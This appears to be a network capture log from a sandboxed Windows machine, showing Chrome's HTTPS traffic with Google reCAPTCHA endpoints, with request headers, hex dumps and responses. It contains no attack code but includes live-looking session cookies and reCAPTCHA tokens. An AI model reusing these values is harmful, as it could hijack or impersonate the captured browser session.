2024-03-15 12:59:14 UTC	1001	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6bpWX7EoDSCuQQjjfWgzYm2qyPyPtK9SS20AGsd9OFxYuZvTlO2YBcs3WibgSXK4kXO6mbBXXCJRv9z_ZMysU785wIg113YrS63lByrsotaBadvsp3lULZyXlO75kENPEYazKmt6pl_yb1Ajk-4o3i_F50V7-1qSubrHrkv5d70EgrQYKGsmPZzKro6D6WCypm5-jR&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:14 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:59:14 GMT Date: Fri, 15 Mar 2024 12:59:14 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:59:14 UTC	833	IN	Data Raw: 38 33 35 35 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 8355JFIFC!"$"$C,,"}!1AQa"q
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: ef 78 da 32 ab 87 1b a3 24 f0 d9 f6 38 a5 82 2b 6b 76 32 59 13 29 80 7e f8 93 f2 91 d3 e9 9f f0 ac 42 15 a7 f2 e2 9c 5b c4 e4 b7 ef 06 3e 83 ff 00 af 52 c5 bd 61 92 d2 29 e3 92 2f 30 65 81 3b 59 86 40 61 9f 6f c7 f5 c7 ca 4a 37 f4 3d 04 8e 8e 7d 72 27 92 34 48 95 57 cb da 76 1c 61 72 0e 3a f1 5b b6 b2 d9 5f c0 a8 0c a8 cd cc b8 fe 05 04 e7 27 38 e8 09 c7 4a e1 91 66 59 61 5b b9 19 96 1f b8 a3 24 6d dc 49 03 ea 49 fc ea f5 a5 c3 da 41 34 d3 08 c8 2a 54 2a 73 d4 77 23 b7 d2 b9 6a 51 8b b5 8b b1 e9 9f 0f b5 bb 8d 3b c4 71 ea 16 de 54 d0 86 d9 6e 64 6c 65 8f 05 8f a6 07 7f 6a fa de c2 eb ed 3a 7c 13 c7 32 ca ae 81 83 a7 dd 6e 3a 8f 6a f8 6b c0 16 92 de dd c2 f2 4b 2a c2 b3 26 f6 39 0a 01 20 7c c4 73 8f 6f 6a f7 7f 09 eb 67 47 b5 bb b6 d3 7c 53 7f 67 1d a5 e4 Data Ascii: x2$8+kv2Y)~B[>Ra)/0e;Y@aoJ7=}r'4HWvar:[_'8JfYa[$mIIA4Tsw#jQ;qTndlej:\|2n:jkK*&9 \|sojgG\|Sg
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 8c 4c 51 e5 bd 7b d7 49 6f e1 2b c6 53 24 e5 21 8c 0e 59 ce 00 ad df 0e e8 9a 1c 59 8f ed d0 dc ce e0 fd c7 07 a7 5c 56 d8 9c db 0f 4e 3c bc d7 7d 89 a1 80 ad 39 5e d6 39 ff 00 b4 6a 97 56 eb 6d 6d 0b ab 91 81 cf 34 89 e1 9f 10 5d 46 5a e7 f7 62 31 c8 76 ae f2 ca f3 44 8e f9 6c ad 66 b7 33 90 c3 e4 21 b9 53 82 a4 8e 87 9e 95 ab 5e 37 f6 b3 8f f0 a2 91 ea 2c 02 97 c7 26 cf 3a b2 f0 24 93 20 92 7b b5 e4 7d de 73 55 53 49 6b 4d 4b 61 70 aa 08 0a 4f f1 1f 4a ea 7c 55 e2 ab 4d 12 e5 2d da 48 8c 92 03 c1 3b 4a 9c 75 c9 1b 4f 51 d4 8f f0 f1 9d 73 c4 97 d7 ba 8b c8 ec f1 79 92 28 45 69 41 50 41 38 27 07 d0 8e b9 fe b5 84 f3 ba b1 ba 93 bf 91 bd 3c ae 9c ad 6d 0f 78 d2 ef 2d e3 89 6d d9 7c a6 5f 6e b5 a6 08 61 95 20 8a f0 ed 23 c5 57 76 2c 86 62 f3 16 c0 31 b3 ee Data Ascii: LQ{Io+S$!YY\VN<}9^9jVmm4]FZb1vDlf3!S^7,&:$ {}sUSIkMKapOJ\|UM-H;JuOQsy(EiAPA8'<mx-m\|_na #Wv,b1
2024-03-15 12:59:14 UTC	767	IN	Data Raw: 31 2d 2d ed 74 fd 36 e6 d6 cf 9b d8 6e 24 90 2b 91 97 52 c1 be f1 ea 00 60 39 35 45 e4 b8 6f 13 68 fa 9c 08 8a 19 5a 37 41 20 3b 70 bc 8f cd 46 7f 4a ad 7b 33 5b de 5c 5b dc 2b 38 12 ac 92 46 5b 1c 94 5c 8e 7a 74 1d a9 35 69 60 4d 67 46 ba 8e 34 4b 39 e7 62 f1 b1 e1 48 56 c9 e0 f4 38 5e bd f3 5e 07 b4 5e d7 99 2d 4e 96 a4 96 fa 1e 95 e2 4b 76 d4 34 d9 0c ae 3c a7 88 80 8b 81 d3 27 27 f3 af 08 d2 ae a5 b4 92 ea d5 4c 84 c3 71 b9 63 03 aa 90 7a 70 7a 91 5e e7 67 78 b7 9e 1d 86 58 20 8a e1 17 6b 79 98 cb 63 d4 76 c1 c0 1c d7 88 78 b2 79 74 8f 1a 4e 7e 68 0b e0 6f 4e 4a 9e 0f ae 0f 0c 6b d8 83 bc 47 55 5e 26 b7 86 6c a2 be 96 03 f6 85 58 60 df 21 63 d1 47 2c 73 f8 cb 1f d3 6d 6f 34 d6 48 19 05 c5 bc a2 45 c0 07 6f 3d 41 20 1f a7 a6 78 fc 6b cc 74 9b 8d 5d a0 Data Ascii: 1--t6n$+R`95EohZ7A ;pFJ{3[\[+8F[\zt5i`MgF4K9bHV8^^^-NKv4<''Lqczpz^gxX kycvxytN~hoNJkGU^&lX`!cG,smo4HEo=A xkt]
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 59 6e 24 86 25 64 41 b5 a3 21 22 c0 c3 31 53 d4 1e 4e 38 fc eb 05 55 53 ac a3 49 d9 dd 7a 7e 26 b4 d2 9e 8c e9 3c 56 6c 75 a9 8d e2 f8 82 08 04 09 2a 0b 54 19 b9 67 4e 40 1f 2f cb 9c 7e 9c 1e b8 f2 8b 89 22 3a 9d ac 8d 71 2a 5b ad ff 00 97 73 1c 93 c6 c6 3c 64 ab 28 03 71 e1 4e 78 c0 cf e5 d5 5d eb 17 17 57 b1 5c fd a2 de c6 f2 24 91 96 e5 55 91 9d fb 33 9f 5e 98 3c f1 d4 8a e6 bc 4d e5 c9 fe 97 1b 5a 9b 93 86 ba 96 38 da 44 90 2e e2 d2 29 27 8e 0e 4e 7b e6 bd 49 d4 53 f7 e5 6b ff 00 5e 67 4a 8f 27 ba 9e 85 ab 29 25 b9 d6 65 31 2f ee ad 60 20 cf 86 06 20 7a 96 5c 6e 39 e7 f3 af 44 f8 59 e2 0f b0 ea 72 58 4d 33 bc 51 8d 8f 1e d2 63 dd 91 82 5c e0 27 07 8e 39 fc ab c6 f4 7d 77 6e b0 c1 af e2 81 37 21 70 ed 90 ed 92 00 c2 87 cf 42 71 c7 6e 38 e7 d8 fc 27 ae Data Ascii: Yn$%dA!"1SN8USIz~&<VluTgN@/~":q[s<d(qNx]W\$U3^<MZ8D.)'N{ISk^gJ')%e1/` z\n9DYrXM3Qc\'9}wn7!pBqn8'
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 6e 0e 09 39 c8 00 fe 55 b1 1d f5 8c ad 88 2f 6d e5 7c 12 15 26 0c 4f e4 6a 9d fd e5 a4 96 b2 a4 99 6f 98 2b 29 39 1d 7a 7e 95 c9 99 72 4a 3c 8e 56 7b 97 45 36 ce 06 fe fe 2b bd 42 eb 7b c9 24 d2 46 b2 02 ed fb cc e5 97 f1 e8 bf 5a cc d7 ee 5a 1d 1a d6 f0 a2 7c 93 b2 23 1c 03 9d ac 55 8f ae 47 6a de d7 24 8c 78 8a 35 06 df ca 96 cf 11 cc 23 05 a2 2b 31 2a 72 38 27 73 8e 71 9c 0a e5 bc 51 e2 14 96 e7 43 b1 d4 20 53 0c 12 83 29 51 8c c8 89 83 e9 c6 49 cf d2 bc 35 45 ba 97 bd f6 fc 8e e5 36 a3 ca 7b 0f c2 93 bf 48 1a 64 6a 8e 9b 42 86 04 bb 6c ce 46 3f 2e 38 e2 bc e3 e3 ce 9a f1 ea 91 5f c5 19 55 1f c3 b3 07 68 e0 7f e8 3d ab 4f e1 16 a7 a9 9b f9 2e ed d1 92 cb c9 e2 60 70 8a d9 c1 cf bf 27 8e b5 bb f1 b6 c4 de 66 04 26 51 1a 05 27 b0 eb d0 fe 06 bb 30 f2 e8 Data Ascii: n9U/m\|&Ojo+)9z~rJ<V{E6+B{$FZZ\|#UGj$x5#+1*r8'sqQC S)QI5E6{HdjBlF?.8_Uh=O.`p'f&Q'0
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 9a fc cf 24 92 19 21 52 88 bb 95 42 93 c1 ec 30 7f c2 ac bf 82 75 79 ac 1b 50 9e f8 24 51 ba 86 25 99 b6 1e c0 95 42 06 71 d3 35 b5 7d ae 5e 6b 3a b5 d5 e6 97 e0 df 15 4e 93 ce f2 26 fb 2d 80 06 62 40 dd 92 3b d6 ae 9b 17 c4 06 d1 af f4 e8 bc 11 1d ad b5 eb 46 cd 35 e6 a5 1e 57 61 24 61 54 67 bf a1 ac a3 87 93 8d d4 36 f2 3c df 6e 94 94 79 97 de 8e 13 e1 e6 83 2e b3 35 ee 95 0b 5a 2d c2 6a e4 2c 72 8f 99 ff 00 84 01 9e 30 71 5d 07 8a 7c 21 a6 6b da c4 6f a0 dc 5b e9 9e 64 01 1e d9 a2 66 0d 28 cf 2a 7b 64 01 f8 d6 a7 82 fe 18 f8 ee 0d 72 5b c8 35 cd 16 c2 e6 69 be d2 65 8e 37 9b cb 60 4e 30 18 05 3d 7d eb ad d2 be 10 99 6e 9a 5d 6f c6 1a c4 d2 21 25 be c6 91 d9 8d df 50 18 81 f4 35 86 27 11 4b 0c 9b aa f6 5b 75 d7 c8 75 31 71 8c ec a5 bf 93 ff 00 86 3c de Data Ascii: $!RB0uyP$Q%Bq5}^k:N&-b@;F5Wa$aTg6<ny.5Z-j,r0q]\|!ko[df(*{dr[5ie7`N0=}n]o!%P5'K[uu1q<
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: d9 e8 96 b3 f8 d9 6d 1a d3 ed 29 70 36 18 8b f9 6a d8 3b 89 dc 39 e0 03 c0 ea 71 5c be a3 0b e9 d7 97 23 c8 32 18 66 23 11 8d c3 a9 c7 53 5e 95 74 12 c3 59 b0 bd 44 25 d6 62 37 07 db 82 54 f7 1d f9 ae 1b c7 2a d2 78 9d e4 96 67 51 70 ab 29 65 c0 1d 39 03 91 9e 83 de 9c e2 a5 a8 4d 69 73 aa fe d2 56 d0 f4 98 af 74 bb 7b 51 23 23 35 c7 d9 e3 12 bb bb e5 4f 39 60 08 c0 dc 14 74 18 26 bc eb 52 fb 5a 5d 98 6e e3 96 39 53 1b b7 0c 03 9c 73 ef 9c 83 f8 d7 a7 f8 a7 c2 da 96 9b 69 a4 5d 59 43 21 b6 69 21 79 98 dc 24 c0 02 17 2c 19 3a 03 c7 ca c4 90 5b 8e e6 bc 92 1b d7 d4 9d ae a4 dd 13 c4 aa db 37 12 18 75 e3 f2 ef 47 23 76 4b a2 39 f5 67 6d a2 5a df db 9f b3 c0 23 57 0a 32 71 c1 04 8f 5a f6 6d 0f 40 f8 86 fa 75 b5 de 93 a3 69 2b 6f 2c 48 e9 e6 cb 12 67 20 72 15 Data Ascii: m)p6j;9q\#2f#S^tYD%b7T*xgQp)e9MisVt{Q##5O9`t&RZ]n9Ssi]YC!i!y$,:[7uG#vK9gmZ#W2qZm@ui+o,Hg r
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 0f b1 32 c2 d6 a0 e1 29 2b 26 8c 57 d6 16 7b 63 14 c0 a3 87 38 8b 70 04 2a e0 74 f4 c9 eb f4 ae 4f 57 f1 16 8f 7d af 5b e9 37 10 25 cf d9 1c 5c b9 88 73 14 80 61 79 f5 f6 ac c9 86 b9 71 67 2c da 6c 72 4c 90 21 fb 75 e9 6f dd a6 5c 65 55 bf 89 be e8 38 ce 3f 94 7a 65 a5 95 94 79 b6 b2 81 19 b9 90 f3 96 3e a4 e7 24 d7 25 59 c3 93 d9 c1 75 7e 47 d0 e5 b8 29 d3 97 b5 a8 ce c8 78 96 c4 b0 51 14 e7 3d f0 07 f5 a4 4d 7d 6e af 20 b6 45 44 f3 1d 63 0f 34 81 51 32 71 92 7b 0e 73 5c bc 84 32 f0 aa 0f a0 35 bd e1 df 09 1d 53 c2 fa ae b7 73 70 f6 b1 da 29 10 e1 37 79 ae 06 4a e3 fe f9 03 dc d7 1a a3 1b 9e e3 ad 2b 14 7e 3f dc 5d db e9 fa 5e 9f 1d fc d7 f0 9b 8b 98 6c e3 07 e5 f2 d4 42 64 23 27 00 6e 62 a4 fa d7 3b f0 7e 0b e9 26 d4 6e 2e 35 24 b5 ba 11 a3 85 88 33 34 Data Ascii: 2)+&W{c8p*tOW}[7%\sayqg,lrL!uo\eU8?zey>$%Yu~G)xQ=M}n EDc4Q2q{s\25Ssp)7yJ+~?]^lBd#'nb;~&n.5$34
2024-03-15 12:59:14 UTC	1252	IN	Data Raw: 08 23 95 6e bd 3a 90 7a 75 e7 8b 5e 17 f8 95 e2 cb 8b 1b 0b 94 97 55 ba b4 df 24 73 8b 5b 39 25 28 39 da c4 85 c8 39 5c 60 16 18 6f a0 19 4b 07 87 b5 d2 5f 72 3a a3 9a 63 96 f5 65 7f f1 3f f3 3d 62 df c4 5f 0f 34 48 6c f5 5f b0 6b ba 7a cb 23 2c 7b 8c a1 fe 52 01 2c a1 89 c7 3e 95 e9 96 3a fe 99 7d 16 1a 73 68 cd d1 65 70 84 8e c4 10 70 7f 03 ec 6b c1 ac 7e 29 6a 7e 56 f9 6e 35 64 53 d5 2e ec a6 43 f8 86 5a cc 9f e3 26 b3 a6 de 4a 34 59 34 94 b0 b3 8f ed 33 a5 c5 ae d6 b9 90 b1 dc a3 18 c1 c0 1c 81 d4 fe 14 46 95 38 2b 41 58 c6 ae 22 bd 79 29 55 93 93 f3 d4 fa 62 28 20 8a 65 45 7b 96 32 06 60 4b 33 2f 6c e5 ba 0e a3 8c f3 ce 3a 1a 9e ea e2 de ce d6 5b 9b a9 e3 82 08 94 bc 92 ca e1 55 14 72 49 27 80 05 78 35 e7 c7 08 ef 6e a0 97 c2 ce 9a 83 42 e5 65 b2 59 Data Ascii: #n:zu^U$s[9%(99\`oK_r:ce?=b_4Hl_kz#,{R,>:}sheppk~)j~Vn5dS.CZ&J4Y43F8+AX"y)Ub( eE{2`K3/l:[UrI'x5nBeY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49813	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:20 UTC	1181	OUT	POST /recaptcha/api2/userverify?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 5775 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:20 UTC	5775	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 35 68 50 4e 51 75 79 6e 47 42 61 72 63 67 53 6c 74 2d 45 62 46 66 46 44 71 33 32 32 36 34 4d 4d 6d 78 35 6f 36 65 71 75 50 66 68 6f 4e 35 38 7a 6c 50 39 6c 65 4f 75 58 54 36 65 35 51 43 42 6c 4a 77 66 35 36 69 6c 67 39 71 43 53 52 47 4d 73 56 57 70 7a 4d 51 41 37 42 46 34 43 6b 64 41 7a 65 42 4e 39 42 55 2d 6c 36 35 63 4c 41 43 6d 38 41 35 67 33 4e 43 71 70 61 35 4b 56 63 75 6b 49 78 56 33 4b 54 52 4b 78 73 36 66 64 4a 4d 77 42 68 57 42 70 76 5f 46 6c 6d 33 32 51 63 48 78 6b 79 58 4d 34 42 79 48 68 77 49 5a 35 74 71 46 73 64 4e 72 64 6f 4e 73 51 71 35 64 66 45 70 41 50 53 51 5f 64 42 6e 74 66 79 59 4e 69 55 69 7a 6e 6c 66 41 4b 41 47 46 6e 4a 57 Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA5hPNQuynGBarcgSlt-EbFfFDq32264MMmx5o6equPfhoN58zlP9leOuXT6e5QCBlJwf56ilg9qCSRGMsVWpzMQA7BF4CkdAzeBN9BU-l65cLACm8A5g3NCqpa5KVcukIxV3KTRKxs6fdJMwBhWBpv_Flm32QcHxkyXM4ByHhwIZ5tqFsdNrdoNsQq5dfEpAPSQ_dBntfyYNiUiznlfAKAGFnJW
2024-03-15 12:59:20 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 15 Mar 2024 12:59:20 GMT Expires: Fri, 15 Mar 2024 12:59:20 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:20 UTC	769	IN	Data Raw: 39 34 30 0d 0a 29 5d 7d 27 0a 5b 22 75 76 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 6c 58 46 75 32 79 66 58 63 31 2d 4b 64 74 44 63 6c 38 59 32 4e 53 38 70 4c 71 79 49 31 45 65 37 62 74 41 54 74 45 4a 41 67 71 44 48 6b 31 4b 72 59 5f 47 6b 42 6c 46 42 70 64 68 71 4f 41 55 65 4a 44 73 73 33 45 76 37 31 41 65 72 68 56 61 63 31 51 52 6f 6b 4a 47 51 43 36 51 38 43 50 31 62 73 44 79 46 63 49 7a 57 42 35 59 39 67 6d 7a 6a 45 69 5f 69 51 41 58 4d 4f 77 61 73 72 54 6f 31 64 69 44 6f 51 57 6a 43 6a 48 4f 4a 67 77 53 4e 55 61 6d 7a 51 6f 5f 79 4d 4c 62 61 62 38 44 67 79 39 67 64 6c 41 57 70 44 56 6e 31 6b 49 55 41 57 35 6f 65 4b 32 76 45 46 38 38 46 35 4b 52 78 70 42 37 66 71 7a 72 48 6d 4d 48 36 31 44 45 43 46 70 77 4f 56 47 4f 5a 48 57 6d 4b 4e 6f 4d 68 79 Data Ascii: 940)]}'["uvresp","03AFcWeA4lXFu2yfXc1-KdtDcl8Y2NS8pLqyI1Ee7btATtEJAgqDHk1KrY_GkBlFBpdhqOAUeJDss3Ev71AerhVac1QRokJGQC6Q8CP1bsDyFcIzWB5Y9gmzjEi_iQAXMOwasrTo1diDoQWjCjHOJgwSNUamzQo_yMLbab8Dgy9gdlAWpDVn1kIUAW5oeK2vEF88F5KRxpB7fqzrHmMH61DECFpwOVGOZHWmKNoMhy
2024-03-15 12:59:20 UTC	1252	IN	Data Raw: 62 76 42 67 33 6c 64 4f 51 6c 66 4b 38 4d 58 51 46 4a 32 6a 7a 77 53 7a 59 32 56 2d 33 75 78 63 33 52 75 73 49 4c 4c 30 6e 47 70 75 4c 43 38 37 69 73 32 31 34 5a 5f 45 70 67 6d 2d 68 2d 33 2d 72 35 78 31 54 4d 69 51 78 6a 33 6f 38 55 6d 32 43 6f 45 6c 39 31 39 6c 72 6f 31 58 6a 77 46 47 79 69 36 36 5f 4e 43 39 37 6e 55 52 32 41 37 6d 68 64 42 37 32 75 49 58 44 54 75 61 4d 62 58 4e 61 41 56 39 51 67 33 35 34 4e 66 7a 51 33 51 53 50 67 5f 38 7a 5a 70 66 67 54 58 73 70 42 4a 52 44 4f 43 58 4c 46 62 4a 43 59 6d 6d 4a 39 33 4e 37 35 58 79 41 56 35 70 57 63 36 56 65 2d 39 54 47 79 78 6f 70 46 52 69 4c 74 35 51 52 45 6a 75 59 55 45 46 70 54 72 6f 50 33 68 45 6b 54 50 64 61 4c 59 75 74 71 6b 61 70 4b 46 68 47 69 57 4d 38 68 71 74 56 77 38 77 35 73 77 36 37 49 72 Data Ascii: bvBg3ldOQlfK8MXQFJ2jzwSzY2V-3uxc3RusILL0nGpuLC87is214Z_Epgm-h-3-r5x1TMiQxj3o8Um2CoEl919lro1XjwFGyi66_NC97nUR2A7mhdB72uIXDTuaMbXNaAV9Qg354NfzQ3QSPg_8zZpfgTXspBJRDOCXLFbJCYmmJ93N75XyAV5pWc6Ve-9TGyxopFRiLt5QREjuYUEFpTroP3hEkTPdaLYutqkapKFhGiWM8hqtVw8w5sw67Ir
2024-03-15 12:59:20 UTC	354	IN	Data Raw: 68 51 62 4d 59 71 74 44 4b 68 4b 69 33 44 53 65 2d 36 6a 34 54 74 76 67 78 67 58 77 76 68 49 54 63 47 49 4a 4d 56 71 52 4f 76 43 32 46 49 59 56 6d 5a 57 50 7a 44 4c 74 45 43 69 4f 50 63 4f 30 50 4d 33 74 42 2d 41 41 56 33 30 4b 76 44 35 2d 53 6c 58 4f 52 36 4c 62 42 35 67 62 41 70 4e 33 43 7a 68 31 6e 34 33 54 37 76 44 54 67 47 77 79 4c 2d 53 4e 53 50 51 31 47 47 6b 53 71 4d 49 65 36 56 41 67 42 45 67 37 2d 53 55 5f 62 54 31 67 64 5a 51 67 56 74 6d 50 33 6d 4e 4d 48 69 30 4b 57 72 34 47 5f 54 70 6e 57 32 59 32 49 43 4d 59 49 7a 42 68 4a 52 7a 73 55 51 6b 38 44 63 49 56 67 30 4d 6f 46 33 6b 4a 2d 36 4c 39 33 68 46 6e 75 62 76 41 22 2c 31 2c 31 32 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 30 39 41 4e 65 4e 4c 30 52 Data Ascii: hQbMYqtDKhKi3DSe-6j4TtvgxgXwvhITcGIJMVqROvC2FIYVmZWPzDLtECiOPcO0PM3tB-AAV30KvD5-SlXOR6LbB5gbApN3Czh1n43T7vDTgGwyL-SNSPQ1GGkSqMIe6VAgBEg7-SU_bT1gdZQgVtmP3mNMHi0KWr4G_TpnW2Y2ICMYIzBhJRzsUQk8DcIVg0MoF3kJ-6L93hFnubvA",1,120,null,null,null,null,null,"09ANeNL0R
2024-03-15 12:59:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	49814	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:20 UTC	795	OUT	GET /recaptcha/api2/userverify?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:20 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2024 12:59:20 GMT Expires: Fri, 15 Mar 2024 12:59:20 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:20 UTC	217	IN	Data Raw: 64 33 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: d3<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-03-15 12:59:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
